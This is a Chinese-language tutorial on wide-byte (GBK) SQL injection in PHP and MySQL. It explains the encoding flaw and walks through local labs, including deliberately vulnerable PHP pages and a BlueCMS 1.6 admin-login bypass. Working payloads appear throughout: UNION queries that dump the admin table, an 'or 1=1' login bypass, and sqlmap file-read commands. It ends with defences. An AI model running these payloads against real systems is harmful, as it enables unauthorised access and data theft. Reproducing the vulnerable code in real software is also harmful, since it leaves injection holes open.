1. 基本概念
寬字節是相對於ascII這樣單字節而言的;像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等這些都是常說的寬字節,實際上只有兩字節
GBK 是一種多字符的編碼,通常來說,一個 gbk 編碼漢字,占用2個字節。一個 utf-8 編碼的漢字,占用3個字節
轉義函數:為了過濾用戶輸入的一些數據,對特殊的字符加上反斜杠“\”進行轉義;Mysql中轉義的函數addslashes,mysql_real_escape_string,mysql_escape_string 等,還有一種是配置magic_quote_gpc,不過 PHP 高版本已經移除此功能。
2. SQL的執行過程
-
以 php 客戶端為例,使用者輸入數據后,會通過php的默認編碼生成sql語句發送給服務器。在php沒有開啟default_charset編碼時,php的默認編碼為空。
此時 php 會根據數據庫中的編碼自動來確定使用那種編碼,可以使用 <?php \(m="字"; echo strlen(\)m); 來進行判斷,如果輸出的值是3說明是utf-8編碼;如果輸出的值是 2 說明是 gbk 編碼。
-
服務器接收到請求后會把客戶端編碼的字符串轉換成連接層編碼字符串(具體流程是先使用系統變量 character_set_client 對 SQL 語句進行解碼后,然后使用 系統變量 character_set_connection 對解碼后的十六進制進行編碼)。
-
進行內部操作前,將請求按照如下規則轉化成內部操作字符集,如下:
- 使用字段 CHARACTER SET 設定值;
- 若上述值不存在,使用對應數據表的DEFAULT CHARACTER SET設定值;
- 若上述值不存在,則使用對應數據庫的DEFAULT CHARACTER SET設定值;
- 若上述值不存在,則使用character_set_server設定值。
- 執行完 SQL 語句之后,將執行結果按照 character_set_results 編碼進行輸出。
3. 寬字節注入
寬字節注入指的是 mysql 數據庫在使用寬字節(GBK)編碼時,會認為兩個字符是一個漢字(前一個ascii碼要大於128(比如%df),才到漢字的范圍),而且當我們輸入單引號時,mysql會調用轉義函數,將單引號變為',其中\的十六進制是%5c,mysql的GBK編碼,會認為%df%5c是一個寬字節,也就是'運',從而使單引號閉合(逃逸),進行注入攻擊。
寬字節注入發生的位置就是PHP發送請求到MYSQL時字符集使用character_set_client設置值進行了一次編碼,然后服務器會根據character_set_connection把請求進行轉碼,從character_set_client轉成character_set_connection,然后更新到數據庫的時候,再轉化成字段所對應的編碼
以下是數據的變化過程:
%df%27===>(addslashes)====>%df%5c%27====>(GBK)====>運’
用戶輸入==>過濾函數==>代碼層的$sql==>mysql處理請求==>mysql中的sql
4. 環境搭建及分析
4.1 實驗1
為了方便演示該注入的過程,搭建一下環境
鏈接:https://pan.baidu.com/s/1cMFtCpbbaocMjaWJx7YLcQ 密碼:ykve
數據庫名為test,數據庫的編碼全部為gdk
源碼
/*
Team:紅日安全團隊
團隊成員:CPR
Title:寬字節注入
*/
//連接數據庫部分,注意使用了gbk編碼
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES 'gbk'");
mysql_select_db('test', $conn) OR emMsg("連接數據庫失敗,未找到您填寫的數據庫");
//執行sql語句
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$sql = "SELECT * FROM news WHERE tid='{$id}'";
$result = mysql_query($sql, $conn) or die(mysql_error());
echo "<br>"."執行的sql語句是:".$sql."<br>"
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="gbk" />
<title>寬字節測試</title>
<meta charset="utf-8"/>
</head>
<body>
<form action="test.php" method="get">
<b>請輸入值:</b> <input type="text" name="id"/>
</form>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>
加上 echo "<br>"."執行的sql語句是:".$sql."<br>"
這句話,可以清楚的查看sql語句的變化過程。
sql 語句是 SELECT * FROM news WHERE tid='{$id}
根據 id 從數據庫表中獲取信息。
4.1.1 確定注入點
單純加上單引號沒有報錯,說明addslashes函數發揮了作用,將' --> ',這樣就不會存在注入了。
此時,在單引號前面加上前面講的%df,是**mysql認為%df**是一個漢字,這樣'就可以逃逸出來,使tid = '1'閉合。
這時候,按說是可以構造查詢語句了,可是為什么還在報錯呢,因為tid='1'后面的'沒有閉合,需要使用注釋符號(-- '或#)將這個多余的'注釋掉,這樣就可以構造注入語句了。
下面就可以按照手動注入的思路進行數據的獲取了。
4.1.2 確定表的字段數
由於接下來要采用union探測內容,而union的規則是必須要求列數相同才能正常展示,因此必須要探測列數,保證構造的注入查詢結果與元查詢結果列數與數據類型相同; 'order by 1'代表按第一列升序排序,若數字代表的列不存在,則會報錯,由此可以探測出有多少列。
http://127.0.0.1/index.php?id=1 %df' order by 4 -- '
可知一共有3個字段
4.1.3 確定字段的顯示位
顯示位:表中數據第幾位的字段可以 顯示,因為並不是所有的查詢結果都 會展示在頁面中,因此需要探測頁面 中展示的查詢結果是哪一列的結果; 'union select 1,2,3 -- ' 通過顯示的數字可以判斷那些字段可以顯示出來。
http://127.0.0.1/index.php?id=-1 %df' union select 1,2,3 -- '
id的值要用-1或者該表中沒有用過的id值,否則測試值會被覆蓋。
4.1.4 獲取當前數據庫信息
1. 獲取當前數據庫名
現在只有兩個字段可以顯示信息,顯然在后面的查詢數據中,兩個字段是不夠用,可以使用:
- group_concat()函數(可以把查詢出來的多行數據連接起來在一個字段中顯示)
- database()函數:查看當前數據庫名稱
- version()函數:查看數據庫版本信息
- user():返回當前數據庫連接使用的用戶
- char():將十進制ASCII碼轉化成字符
當前數據庫名為'test'。
2. 獲取test數據庫中的表信息
Mysql有一個系統的數據庫 information_schema,里面保存着所有數據庫的相關信息,使用該表完成注入
http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(table_name)
from information_schema.tables where table_schema=0x74657374 -- '
由於存在addslashes轉義了單引號,如果在table_schema中繼續使用單引號包裹數據庫名字,就會報錯,這時候需要使用十六進制編碼來避免這個問題。
3. 獲取admin表的字段
column_name表示獲取字段名
http://127.0.0.1/index.php?id=-1 %df' union select 1,2,group_concat(column_name)
from information_schema.columns where table_name=0x61646d696e -- '
table_name 需要使用十六進制編碼
4. 獲取 admin 表的數據
http://127.0.0.1/index.php?id=-1 %df' union select 1,2,concat(name,char(58),pass) from admin -- '
數據獲取到了,可以更深入一下,比如進行文件的讀取,提權等操作。
5. 獲取當前用戶信息
此次會用到工具SQLMAP,sqlmap是一個SQL注入工具。此一具在業界稱為神器。sqlmap是用python語言編寫,如果想對工具詳細了解,請到官網了解。
下載和使用
本實驗用到sqlmap,以下是用sqlmap工具操作。使用sqlmap工具第一步猜用戶
python sqlmap.py -u "127.0.0.1/index.php?id=1 %df'" --current-user
看到是root用戶,可以更方便的搞事情了。
6. 讀服務器中的文件
sqlmap 中--file-read參數,可以讀取服務器端任意文件
python sqlmap.py -u "127.0.0.1/index.php?id=1 %df'" --file-read="./index.php"
已經將文件保存到了本地/root/.sqlmap/output/127.0.0.1/files文件夾下
正常思路,接下來可以進行提權了,由於該環境是搭建在windows下的,使用--file-write參數進行寫文件的操作不能執行,這里就不做演示了。
4.2 實驗2
為了方便演示該注入的過程,搭建一下環境
鏈接:https://pan.baidu.com/s/1WC4D-3o-A7uYAi8w_yQ7sA 密碼:sbwy
數據庫名為test,數據庫的編碼全部為gdk
將 index.php 放到 phpStudy 的 WWW 目錄下,將 test.sql 文件導入到數據庫中即可
源碼
/*
Team:紅日安全團隊
團隊成員:CPR
Title:寬字節注入
*/
<?php
//連接數據庫部分,注意使用了gbk編碼
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES 'gbk'");
mysql_select_db('test', $conn) OR emMsg("連接數據庫失敗,未找到您填寫的數據庫");
//執行sql語句
mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn);
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$id = iconv('utf-8', 'gbk', $id);
$sql = "SELECT * FROM news WHERE tid='{$id}'";
$result = mysql_query($sql, $conn) or die(mysql_error());
echo "<br>"."sql:".$sql."<br>"
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="gbk" />
<title>gbk change utf-8</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>
同樣也使用了 addslashes轉義,然后使用iconv進行轉碼,由utf-8 -->gbk
為了避免寬字節注入,很多人使用iconv函數(能夠完成各種字符集間的轉換\(text=iconv("UTF-8","GBK",\)text);),其實這樣做是有很大風險的,仍舊可以造成寬字節注入。
可以使用逆向思維,先找一個gbk的漢字錦,錦的utf-8編碼是0xe98ca6,它的gbk編碼是0xe55c,是不是已經看出來了,當傳入的值是錦','通過addslashes轉義為'(%5c%27),錦通過icov轉換為%e5%5c,終止變為了%e5%5c%5c%27,不難看出%5c%5c正好把反斜杠轉義,使單引號逃逸,造成注入。
4.2.1 注入點
按照實驗1的思路,可以執行寬字節注入
出現報錯信息,說明存在寬字節注入。
%5c%5c正好把反斜杠轉義,使單引號逃逸
獲取到數據信息(這里的sql注入方法和實驗1一樣,讀者可以自己嘗試練習)
4.3 實驗3
bluecms 1.6 版本存在寬字節注入,環境源碼:
鏈接:https://pan.baidu.com/s/11PQqPdopA9bkLBY9gYrpqA 密碼:ek6o
漏洞復現
該cms的寬字節注入漏洞存在於http://127.0.0.1/bluecmsv1.6/uploads/admin/index.php.此地址是我們的安裝地址,如果是在本地搭建,需要根據你的本地地址和路徑來進行判斷。
為了更好演示效果,我們進行如下安裝。首先根據上面提示的下載地址進行下載源碼。
將整個bluecms文件放到phpStudy的WWW目錄下,瀏覽器訪問url/bluecms/uploads/install 根據提示進行安裝。
數據庫參數配置
訪問http://127.0.0.1/bluecmsv1.6/uploads/admin/login.php?act=login 進入存在注入的頁面。
在管理員界面輸入登錄信息:
使用burp suit 進行抓包:
POST /bluecmsv1.6/uploads/admin/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/bluecmsv1.6/uploads/admin/login.php?act=login
Cookie: PHPSESSID=om57mhu92141dqc3hn8ajce8q1
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
admin_name=admin&admin_pwd=123&submit=%B5%C7%C2%BC&act=do_login
admin_name就是注入點,可以實現萬能密碼登錄
構造payload
POST /bluecmsv1.6/uploads/admin/login.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/bluecmsv1.6/uploads/admin/login.php?act=login
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
admin_name=admin %df' or 1=1 -- '&admin_pwd=11&submit=%B5%C7%C2%BC&act=do_login
成功登錄后台
4.3.1 源碼分析
看下管理員登錄界面的源碼admin/login.php
define('IN_BLUE', true);
require_once(dirname(__FILE__) . '/include/common.inc.php');
$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'login';
if($act == 'login'){
if($_SESSION['admin_id']){
showmsg('您已登錄,不用再次登錄', 'index.php');
}
template_assign('current_act', '登錄');
$smarty->display('login.htm');
}
...
在第二行可以看到包含了/include/common.inc.php文件,跟進一下
require_once(BLUE_ROOT.'include/mysql.class.php');
$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
第一行包含了include/mysql.class.php文件,第二行實例化mysql對象,繼續跟進mysql.class.php
function mysql($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){
$func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect';
if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){
$this->dbshow('Can not connect to Mysql!');
} else {
if($this->dbversion() > '4.1'){
mysql_query( "SET NAMES gbk");
if($this->dbversion() > '5.0.1'){
mysql_query("SET sql_mode = ''",$this->linkid);
}
}
}
...
/include/common.inc.php文件中的mysql實例化對象,調用了這個mysql類,將數據庫的連接信息進行封裝,重點關注下mysql_query( "SET NAMES gbk");這一句,使三個字符集(客戶端、連接層、結果集)都是GBK編碼,經過前面的講解可以知道gbk是雙字節,如果再使用了addslashes()等前面所說的函數進行轉義操作,那么一定可以觸發寬字節注入
回到common.inc.php,看到
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}
如果沒有開啟get_magic_quotes_gpc(),則會對各種請求數據使deep_addslashes()進行過濾,跟進下這個函數,在common.fun.php文件中
function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}
不管是數組還是字符串都會調用addslashes()函數進行字符的轉義
至此可以確定能觸發寬字節注入
4.3.2 sql語句分析
前面已經構造了payload,現在看一看完整的sql語句
admin/login.php源碼
if(check_admin($admin_name, $admin_pwd)){
update_admin_info($admin_name);
if($remember == 1){
...
前面已經構造了payload,現在看一看完整的sql語句
admin/login.php源碼
check_admin()函數使用了輸入的用戶名和密碼,跟進一下
該函數在include/common.fun.php文件中
function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}
...
正常的sql語句
SELECT COUNT(*) AS num FROM blue_admin WHERE admin_name='$name' and pwd = md5('$pwd')
當從blue_admin表中查到admin的信息,num的值就會大於零,這樣就可以登錄成功
含有payload的sql語句
SELECT COUNT(*) AS num FROM blue_admin WHERE admin_name='1 運' or 1=1 -- ' and pwd = md5('$pwd')
登錄后台管理,可以尋找上傳點,或者利用已知的漏洞,從而getshell,進而控制整個服務器。
5. 防護手段
使用mysql_set_charset(GBK)指定字符集
SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary
使用mysql_real_escape_string進行轉義
mysql_real_escape_string與addslashes的不同之處在於其會考慮當前設置的字符集(使用mysql_set_charset指定字符集),不會出現前面的df和5c拼接為一個寬字節的問題
以上兩個條件需要同時滿足才行,缺一不可。
————————————
本文作者:Setup, 轉載請注明來自(FreeBuf.COM)[https://www.freebuf.com/]